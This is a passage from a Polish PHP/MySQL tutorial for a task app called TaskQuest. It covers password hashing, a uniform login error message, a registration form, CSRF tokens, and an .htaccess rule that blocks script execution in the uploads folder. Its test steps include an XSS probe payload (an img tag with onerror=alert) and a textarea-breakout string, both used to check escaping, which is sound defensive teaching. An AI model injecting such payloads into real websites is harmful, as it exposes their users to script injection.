('Ola_TQ', 'Ola', 'TU_HASH_OLI', 250, 0, NULL);</code></pre>



<p class="wp-block-paragraph">Kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> nie wymieniamy, więc dostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania</code> się nie zmienia (Kama nadal ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 1, Ola <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 2).</p>



<ol start="3" class="wp-block-list">
<li>Uruchom cały skrypt w phpMyAdmin (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → SQL) i opróżnij katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> (tylko pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_...</code>). W bazie avatary zniknęły, więc pliki zostałyby bez właściciela.</li>
</ol>



<p class="wp-block-paragraph">Sprawdzenie: w phpMyAdmin kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> ma u obu kont tekst zaczynający się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$</code> i długi na 60 znaków.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Na razie TaskQuest nadal wpuszcza bez hasła. Baza się zmieniła, ale <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> jeszcze nie.</p>
</blockquote>



<h3 class="wp-block-heading">Krok 2 — SAMODZIELNIE: walidacja danych logowania i rejestracji</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>:</p>



<ol class="wp-block-list">
<li><strong>Zmień</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania(string $login): array</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania(string $login, string $haslo): array</code>. Reguła loginu zostaje. Dochodzi jedna: puste hasło → <code class="prettyprint lang-sql" style="font-size: 0.85em;">Podaj hasło.</code> Długości hasła przy logowaniu <strong>nie</strong> sprawdzamy. Gdyby gracz wpisał złe hasło, i tak dowie się o tym z bazy.</li>



<li><strong>Dopisz</strong> pod nią <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array</code>. Zwraca tablicę komunikatów, nie rzuca wyjątków, niczego nie wyświetla. Reguły i komunikaty:</li>
</ol>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pole</th><th>Warunek</th><th>Komunikat</th></tr></thead><tbody><tr><td>login</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td><td>ten sam co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code></td></tr><tr><td>imię</td><td>puste</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię jest wymagane.</code></td></tr><tr><td>imię</td><td>(tylko gdy niepuste) dłuższe niż 30 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię może mieć najwyżej 30 znaków.</code></td></tr><tr><td>hasło</td><td>krótsze niż 8 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Hasło musi mieć co najmniej 8 znaków.</code></td></tr><tr><td>hasło</td><td>(tylko gdy długość jest dobra) różne od powtórzonego</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Hasła nie są takie same.</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Reguły imienia znasz z Lekcji 14. Wtedy były w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code>, a w L18 z niej zniknęły.</p>



<p class="wp-block-paragraph">Testy (w brudnopisie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_tekstowe.php</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Wywołanie</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania('Kama_2026', '')</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">['Podaj hasło.']</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania('Kama_2026', 'cokolwiek')</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji('Ka', '', 'krotkie', 'krotkie')</code></td><td>3 komunikaty: login, imię wymagane, hasło za krótkie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji('Nowy_Gracz', 'Ola', 'dluzszehaslo', 'dluzszeHaslo')</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">['Hasła nie są takie same.']</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji('Nowy_Gracz', 'Ola', 'zażółćgę', 'zażółćgę')</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code> (8 znaków — <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_strlen</code>)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>ROZWIĄZANIE:</strong> sekcja 11, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>.</p>



<h3 class="wp-block-heading">Krok 3 — funkcje bazy</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> dopisz na końcu dwie funkcje (nagłówek pliku: „(Lekcje 18–22)”):</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?</code>. Zwraca wiersz <code class="prettyprint lang-sql" style="font-size: 0.85em;">['id' =&gt; ..., 'haslo_hash' =&gt; ...]</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, gdy takiego loginu nie ma.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> loginu, imienia i hasha (pozostałe kolumny dostają wartości domyślne). Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nowego użytkownika.</li>
</ol>



<p class="wp-block-paragraph">Obie piszesz według wzorów z L18 i L19 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code>).</p>



<p class="wp-block-paragraph"><strong>Dlaczego nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>?</strong> Obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> nie ma i nie będzie miał hasha. Obiekt trafia na każdą stronę, a hash jest potrzebny tylko w jednym miejscu, przy logowaniu. Dlatego hash czyta jedna funkcja i tylko ona (reguła z L18: w <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> wymieniamy kolumny, nigdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">*</code>).</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> zostaje. Użyjesz jej przy rejestracji.</p>



<p class="wp-block-paragraph"><strong>ROZWIĄZANIE:</strong> sekcja 11, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>.</p>



<h3 class="wp-block-heading">Krok 4 — logowanie z hasłem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>)</h3>



<p class="wp-block-paragraph">Zmiany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>:</p>



<ol class="wp-block-list">
<li><strong>Formularz:</strong> pod polem loginu nowe pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="password" id="haslo" name="haslo" required&gt;</code> z etykietą „Hasło”. Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>: hasła nie odsyłamy do przeglądarki nawet po błędzie. Do formularza dochodzi ukryte pole z tokenem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$tokenCsrf</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony</code>).</li>



<li><strong>Tekst:</strong> zdanie „Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.” usuwasz. Pod formularzem dochodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;Nie masz konta? &lt;a href="rejestracja.php"&gt;Załóż konto&lt;/a&gt;&lt;/p&gt;</code>.</li>



<li><strong>Odczyt:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$haslo = $_POST['haslo'] ?? '';</code> — <strong>bez</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>.</li>



<li><strong>Token i walidacja:</strong> jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>: zły token → komunikat, w przeciwnym razie <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania($login, $haslo)</code>.</li>



<li><strong>Sprawdzenie w bazie:</strong> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzDaneLogowania()</code>. Jeśli wynik to <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> <strong>albo</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> jeden wspólny komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowy login lub hasło.</code> W przeciwnym razie jak dotąd: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code> (teraz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$daneLogowania['id']</code>), komunikat, przekierowanie.</li>



<li><strong>Escapowanie:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> loginu i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code> — jeśli nie zrobiłaś/zrobiłeś tego w sekcji 4.</li>
</ol>



<p class="wp-block-paragraph"><strong>Dlaczego jeden komunikat?</strong> Do tej pory TaskQuest mówił „Nie ma użytkownika o takim loginie.”. To podpowiedź dla atakującego: wiadomo, które loginy istnieją, więc wystarczy zgadywać tylko hasło. Komunikat „Nieprawidłowy login lub hasło.” nie zdradza, która część się nie zgadza.</p>



<p class="wp-block-paragraph">Zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> z L18 znika, jej miejsce zajmuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$daneLogowania</code>.</p>



<p class="wp-block-paragraph"><strong>ROZWIĄZANIE:</strong> sekcja 11, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> (pełny plik).</p>



<p class="wp-block-paragraph">Sprawdzenie:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Login</th><th>Hasło</th><th>Wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code></td><td>lista zadań Kamy</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kamaquest26</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowy login lub hasło.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nikt_Taki</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowy login lub hasło.</code> (ten sam komunikat!)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td>(puste — usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> w narzędziach przeglądarki)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Podaj hasło.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ka</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">cokolwiek</code></td><td>komunikat o formacie loginu</td></tr></tbody></table></figure>



<h1 class="wp-block-heading">7. Kolejne zadanie — rejestracja</h1>



<p class="wp-block-paragraph">Teraz połączysz wszystko z tej lekcji w jednym nowym pliku. Nowe konta mogą dziś powstać tylko w phpMyAdmin. Gracz musi móc założyć konto sam.</p>



<h2 class="wp-block-heading">SAMODZIELNIE</h2>



<p class="wp-block-paragraph">Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code> według schematu strony z formularzem (L13), wzorując się na nowym <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>:</p>



<ol class="wp-block-list">
<li>Strona <strong>tylko dla niezalogowanych.</strong> Zalogowany gracz jest przekierowany na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>).</li>



<li>Formularz POST z tokenem i czterema polami: <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="20"</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="30"</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">powtorzone_haslo</code> (oba <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="password"</code>). Wszystkie z etykietą i <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>. Formularz zachowuje po błędzie login i imię (escapowane!), hasła nie.</li>



<li>Po wysłaniu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code> na loginie i imieniu, hasła bez zmian → zły token albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji()</code> → jeśli brak błędów:
<ul class="wp-block-list">
<li>login zajęty (<code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> nie zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>) → <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ten login jest już zajęty.</code>,</li>



<li>w przeciwnym razie <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajUzytkownika()</code> z hashem hasła, a potem <strong>od razu zalogowanie</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code>, komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Konto zostało założone. Witaj w TaskQuest!</code>, przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>
</ul>
</li>



<li>Awaria bazy: ramka <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p class="blad"&gt;Nie udało się założyć konta: ...&lt;/p&gt;</code>.</li>



<li>Tytuł strony: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Rejestracja — TaskQuest</code>. Pod formularzem: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;Masz już konto? &lt;a href="zaloguj.php"&gt;Zaloguj się&lt;/a&gt;&lt;/p&gt;</code>.</li>
</ol>



<p class="wp-block-paragraph">Efekt: nowe konto pojawia się w phpMyAdmin z hashem, 0 XP, serią 0 i bez avatara. Gracz od razu widzi swoją pustą listę zadań i kółko z pierwszą literą imienia.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Zajętość loginu sprawdzasz w tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, w którym potem zapisujesz, bo oba kroki potrzebują połączenia. Pamiętaj, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> w bazie nie rozróżnia wielkości liter (L17). Login <code class="prettyprint lang-sql" style="font-size: 0.85em;">kama_2026</code> też jest zajęty, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> porównuje tak samo.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $polaczenie = polaczZBaza();

    if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
        $bledy&#91;] = 'Ten login jest już zajęty.';
    } else {
        $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash(...));

        // zalogowanie jak w zaloguj.php
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph">Dlaczego nie zapisać po prostu i poczekać, aż <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> zgłosi błąd? Można, ale wtedy gracz zobaczy komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> („Duplicate entry&#8230;”) w ramce awarii zamiast czytelnego zdania. <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> zostaje jako ostatnia linia obrony.</p>
</details>



<p class="wp-block-paragraph"><strong>ROZWIĄZANIE:</strong> Sekcja 11, <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code> (pełny plik).</p>



<h1 class="wp-block-heading">8. Katalog avatarów pod ochroną serwera</h1>



<p class="wp-block-paragraph">W Lekcji 21 katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> chroniła tylko walidacja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>. Sprawdźmy, co by było, gdyby do tego katalogu trafił plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">.php</code>.</p>



<ol class="wp-block-list">
<li><p>Utwórz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">test.php</code>:</p><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php<br />echo 'Ten skrypt został wykonany!';<br /></code></li>



<li>Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/uploads/avatary/test.php</code>. Serwer <strong>wykonał</strong> skrypt. Gdyby ktoś podrzucił tu swój skrypt, mógłby czytać pliki projektu (w tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code> z hasłem do bazy), zmieniać je i usuwać.<br /></li>



<li>Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/uploads/avatary/</code>. Apache pokazuje listę wszystkich plików w katalogu, czyli avatary wszystkich graczy.<br /></li>
</ol>



<p class="wp-block-paragraph">Apache czyta ustawienia z plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> umieszczonych w katalogach strony. Utwórz w VS Code plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code> (nazwa zaczyna się od kropki i nie ma rozszerzenia):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"># TaskQuest (L22): pliki od graczy nie mogą być wykonywane jako skrypty.
Options -Indexes

&lt;FilesMatch "\.(php|php&#91;0-9]|phtml|phar)$"&gt;
    Require all denied
&lt;/FilesMatch&gt;</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Options -Indexes</code> wyłącza listę plików katalogu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">FilesMatch</code> z wyrażeniem regularnym (znasz je z L8) wybiera pliki z końcówkami, które serwer mógłby wykonać jako PHP, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">Require all denied</code> zabrania dostępu do nich.</li>
</ul>



<p class="wp-block-paragraph">Sprawdzenie:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Adres</th><th>Przed</th><th>Po</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">.../uploads/avatary/test.php</code></td><td>„Ten skrypt został wykonany!”</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">403 Forbidden</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">.../uploads/avatary/</code></td><td>lista plików</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">403 Forbidden</code></td></tr><tr><td>avatar na liście zadań (wgraj nowy)</td><td>widoczny</td><td><strong>nadal widoczny</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">test.php</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">W XAMPP pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">htdocs</code> działają od razu. Na innym serwerze administrator może je wyłączyć. Najpewniejsze rozwiązanie to trzymanie przesłanych plików <strong>poza</strong> katalogiem publicznym i wydawanie ich przez skrypt PHP. W TaskQuest zostajemy przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>.</p>
</blockquote>



<h3 class="wp-block-heading">Diagnostyka i stopka</h3>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> ścieżki <code class="prettyprint lang-sql" style="font-size: 0.85em;">'rejestracja.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'uploads/avatary/.htaccess'</code> (razem <strong>23</strong>). <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPlikIstnieje()</code> działa też dla pliku z kropką na początku.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> zmień wersję na <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 2.2</code>.</li>
</ol>



<h1 class="wp-block-heading">9. Testy</h1>



<p class="wp-block-paragraph">Przed testami uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (krok 6.4) i opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> (poza <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>!).</p>



<h2 class="wp-block-heading">Test 1 — regresja</h2>



<p class="wp-block-paragraph">Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code>. Lista zadań, liczniki, pasek XP, „Zrobione!” (XP rośnie), „Usuń”, filtr widoku, avatar, ranking i wylogowanie działają jak po Lekcji 21. Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">OlaQuest26</code> — widać jej jedno zadanie.</p>



<h2 class="wp-block-heading">Test 2 — logowanie</h2>



<p class="wp-block-paragraph">Tabela w kroku 6.4, krok 4. Szczególnie ważne: nieistniejący login i złe hasło dają <strong>ten sam</strong> komunikat.</p>



<h2 class="wp-block-heading">Test 3 — rejestracja</h2>



<p class="wp-block-paragraph">Załóż konto: login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_Gracz</code>, imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ala</code>, hasło <code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code> (dwa razy).</p>



<ul class="wp-block-list">
<li>Lądujesz na liście zadań z komunikatem „Konto zostało założone. Witaj w TaskQuest!”.</li>



<li>Widzisz kółko z literą <code class="prettyprint lang-sql" style="font-size: 0.85em;">A</code>, 0 XP, pustą listę zadań.</li>



<li>W rankingu: Ola, Kama, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_Gracz</code>.</li>



<li>W phpMyAdmin nowy wiersz ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> zaczynający się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> równe <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</li>



<li>Wyloguj się i zaloguj ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_Gracz</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code>.</li>
</ul>



<h2 class="wp-block-heading">Test 4 — walidacja rejestracji</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Login</th><th>Imię</th><th>Hasło</th><th>Powtórzone</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ka</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">   </code> (same spacje)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">krotkie</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">krotkie</code></td><td>3 komunikaty: login, imię wymagane, hasło za krótkie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_Gracz2</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ala</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo2</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Hasła nie są takie same.</code>; login i imię zostały w polach, pola haseł są puste</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kama_2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ten login jest już zajęty.</code> (małe litery!)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ala Ma Kota</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ala</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td>komunikat o formacie loginu</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 5 — XSS</h2>



<ol class="wp-block-list">
<li>Zadanie z tytułem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="x" onerror="alert(1)"&gt;</code> i opisem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;pogrubione?&lt;/b&gt;</code> — na liście i w „najpilniejszym zadaniu” widać dosłowny tekst, bez okienka.</li>



<li>Zarejestruj konto z imieniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;i&gt;Ala&lt;/i&gt;</code> — powitanie pokazuje dosłownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;i&gt;Ala&lt;/i&gt;</code>, a w kółku avatara jest znak <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code>.</li>



<li>Formularz nowego zadania: tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cytat "PHP" i 'MySQL'</code>, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code> → błąd walidacji, a pole tytułu zawiera <strong>cały</strong> tytuł z cudzysłowami.</li>



<li>Formularz nowego zadania: opis <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;/textarea&gt;&lt;b&gt;X&lt;/b&gt;</code>, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code> → błąd walidacji, formularz wygląda normalnie, a opis jest w polu w całości.</li>
</ol>



<h2 class="wp-block-heading">Test 6 — CSRF</h2>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code> w Firefoksie (zalogowana Kama) → formularz z komunikatem o wygasłym formularzu, zadanie nie zostało dodane.</li>



<li>W Firefoksie otwórz stronę logowania. W narzędziach przeglądarki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">F12</code> → Dane → Ciasteczka) usuń ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>. Wpisz poprawne dane Kamy i wyślij → komunikat o wygasłym formularzu. Ponowne wysłanie (formularz ma już nowy token) → logowanie działa.</li>



